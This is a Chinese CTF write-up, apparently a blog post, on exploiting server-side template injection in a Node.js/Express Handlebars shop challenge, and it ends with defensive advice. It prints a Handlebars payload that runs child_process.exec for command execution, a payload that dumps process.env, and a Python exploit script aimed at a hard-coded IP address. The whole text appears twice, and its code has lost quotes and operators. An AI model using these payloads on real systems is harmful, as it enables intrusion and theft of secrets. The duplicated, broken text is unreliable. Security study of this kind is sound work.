1. 从购物车到系统权限SSTI漏洞实战剖析那天比赛现场空调嗡嗡作响我盯着屏幕上那个看似普通的在线服务购买平台手指在键盘上无意识地敲击着。这个Web2题目表面是个电商系统实际上暗藏杀机——后来证明这里存在一个典型的服务器端模板注入(SSTI)漏洞。让我带你完整复盘这个价值连城的攻击链。首先注意到的是购买功能。当我用Burp Suite拦截到/buy接口的请求时发现price参数的值直接显示在了返回页面中。这立刻触发了我的敏感神经——参数回显往往是注入漏洞的前兆。我尝试输入{7*7}页面果然返回了计算后的结果49。那一刻心跳加速确认存在模板注入通过响应头中的X-Powered-By: Express我判断后端使用的是Node.js的Express框架。这个信息至关重要因为不同模板引擎的利用方式天差地别。经过几次测试最终确定系统使用的是Handlebars模板引擎这为后续的漏洞利用指明了方向。2. Node.js环境下的SSTI利用链构建在确认漏洞存在后真正的挑战才开始。Node.js的沙箱机制使得常规的SSTI利用方式往往失效需要更精巧的利用链。这里我分享几个关键步骤环境探测是第一步。通过注入{{this}}可以获取当前模板的上下文对象。在我的测试中返回了完整的模板对象结构这暴露出系统没有做任何沙箱隔离。// 探测模板引擎类型 {{#with s as |string|}} {{#with e}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub constructor)}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push return require(child_process).exec(whoami);}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}突破沙箱是最大难点。Node.js的process对象是获取系统信息的金钥匙。通过构造特殊payload我们可以访问到process.env获取环境变量——通常flag就藏在这里。我使用的最终payload是{{JSON.stringify(process.env)}}这个技巧绕过了大多数字符过滤机制。3. 自动化漏洞利用脚本开发手动测试虽然有效但在CTF比赛中时间就是生命。我连夜写了个Python自动化脚本主要解决两个问题会话保持需要正确处理Express框架的cookie机制结果提取要从返回的JSON数据中精准定位flagimport requests import re def exploit_ssti(target_url): session requests.Session() # 第一步触发SSTI漏洞 payload {{JSON.stringify(process.env)}} post_data { id: 1, type: malware, price: payload } # 发送恶意请求 response session.post(f{target_url}/buy, datapost_data) # 获取包含flag的cookie basket_cookie response.headers[Set-Cookie].split()[1].split(;)[0] # 第二步访问购物车页面提取结果 response session.get(f{target_url}/basket, cookies{basket: basket_cookie}) # 使用正则提取flag flag_pattern re.compile(rflag\{[a-f0-9\-]\}) match flag_pattern.search(response.text) if match: return match.group(0) return None # 使用示例 print(exploit_ssti(http://111.74.9.131:10115))这个脚本成功帮我快速获取了flag其核心在于正确处理了Node.js应用的会话状态。注意其中的cookie处理逻辑——Express框架会将购物车数据存储在名为basket的cookie中且经过了URL编码。4. 防御措施与最佳实践作为攻击者找到漏洞很有成就感但作为开发者更应该知道如何防御。针对这类SSTI漏洞我总结了几点实用建议输入过滤是首要防线。对所有用户输入进行严格的白名单验证特别是对于要放入模板的参数。在Node.js中可以使用validator.js这样的库const validator require(validator); app.post(/buy, (req, res) { const price req.body.price; if (!validator.isDecimal(price)) { return res.status(400).send(Invalid price format); } // 安全处理逻辑 });模板引擎配置同样关键。不同的引擎有不同的安全选项Handlebars使用noEscape选项时要格外小心EJS禁用_with选项可以限制作用域访问Pug避免使用unsafe-eval功能最小权限原则不容忽视。运行Node.js应用时应该使用专用低权限用户并严格控制环境变量的访问权限。那次比赛后我在自己的项目中都加上了这样的配置# 使用非root用户运行Node.js useradd -m nodeuser chown -R nodeuser:nodeuser /app sudo -u nodeuser node server.js那次振兴杯比赛让我深刻体会到Web安全就像一场永无止境的攻防博弈。每找到一个漏洞都应该思考如何防御每实现一个防御方案也要琢磨如何突破。这种良性循环才是技术进步的真正动力。
从“振兴杯”实战复盘看Web安全:SSTI漏洞利用与Node.js环境渗透
1. 从购物车到系统权限SSTI漏洞实战剖析那天比赛现场空调嗡嗡作响我盯着屏幕上那个看似普通的在线服务购买平台手指在键盘上无意识地敲击着。这个Web2题目表面是个电商系统实际上暗藏杀机——后来证明这里存在一个典型的服务器端模板注入(SSTI)漏洞。让我带你完整复盘这个价值连城的攻击链。首先注意到的是购买功能。当我用Burp Suite拦截到/buy接口的请求时发现price参数的值直接显示在了返回页面中。这立刻触发了我的敏感神经——参数回显往往是注入漏洞的前兆。我尝试输入{7*7}页面果然返回了计算后的结果49。那一刻心跳加速确认存在模板注入通过响应头中的X-Powered-By: Express我判断后端使用的是Node.js的Express框架。这个信息至关重要因为不同模板引擎的利用方式天差地别。经过几次测试最终确定系统使用的是Handlebars模板引擎这为后续的漏洞利用指明了方向。2. Node.js环境下的SSTI利用链构建在确认漏洞存在后真正的挑战才开始。Node.js的沙箱机制使得常规的SSTI利用方式往往失效需要更精巧的利用链。这里我分享几个关键步骤环境探测是第一步。通过注入{{this}}可以获取当前模板的上下文对象。在我的测试中返回了完整的模板对象结构这暴露出系统没有做任何沙箱隔离。// 探测模板引擎类型 {{#with s as |string|}} {{#with e}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub constructor)}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push return require(child_process).exec(whoami);}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}突破沙箱是最大难点。Node.js的process对象是获取系统信息的金钥匙。通过构造特殊payload我们可以访问到process.env获取环境变量——通常flag就藏在这里。我使用的最终payload是{{JSON.stringify(process.env)}}这个技巧绕过了大多数字符过滤机制。3. 自动化漏洞利用脚本开发手动测试虽然有效但在CTF比赛中时间就是生命。我连夜写了个Python自动化脚本主要解决两个问题会话保持需要正确处理Express框架的cookie机制结果提取要从返回的JSON数据中精准定位flagimport requests import re def exploit_ssti(target_url): session requests.Session() # 第一步触发SSTI漏洞 payload {{JSON.stringify(process.env)}} post_data { id: 1, type: malware, price: payload } # 发送恶意请求 response session.post(f{target_url}/buy, datapost_data) # 获取包含flag的cookie basket_cookie response.headers[Set-Cookie].split()[1].split(;)[0] # 第二步访问购物车页面提取结果 response session.get(f{target_url}/basket, cookies{basket: basket_cookie}) # 使用正则提取flag flag_pattern re.compile(rflag\{[a-f0-9\-]\}) match flag_pattern.search(response.text) if match: return match.group(0) return None # 使用示例 print(exploit_ssti(http://111.74.9.131:10115))这个脚本成功帮我快速获取了flag其核心在于正确处理了Node.js应用的会话状态。注意其中的cookie处理逻辑——Express框架会将购物车数据存储在名为basket的cookie中且经过了URL编码。4. 防御措施与最佳实践作为攻击者找到漏洞很有成就感但作为开发者更应该知道如何防御。针对这类SSTI漏洞我总结了几点实用建议输入过滤是首要防线。对所有用户输入进行严格的白名单验证特别是对于要放入模板的参数。在Node.js中可以使用validator.js这样的库const validator require(validator); app.post(/buy, (req, res) { const price req.body.price; if (!validator.isDecimal(price)) { return res.status(400).send(Invalid price format); } // 安全处理逻辑 });模板引擎配置同样关键。不同的引擎有不同的安全选项Handlebars使用noEscape选项时要格外小心EJS禁用_with选项可以限制作用域访问Pug避免使用unsafe-eval功能最小权限原则不容忽视。运行Node.js应用时应该使用专用低权限用户并严格控制环境变量的访问权限。那次比赛后我在自己的项目中都加上了这样的配置# 使用非root用户运行Node.js useradd -m nodeuser chown -R nodeuser:nodeuser /app sudo -u nodeuser node server.js那次振兴杯比赛让我深刻体会到Web安全就像一场永无止境的攻防博弈。每找到一个漏洞都应该思考如何防御每实现一个防御方案也要琢磨如何突破。这种良性循环才是技术进步的真正动力。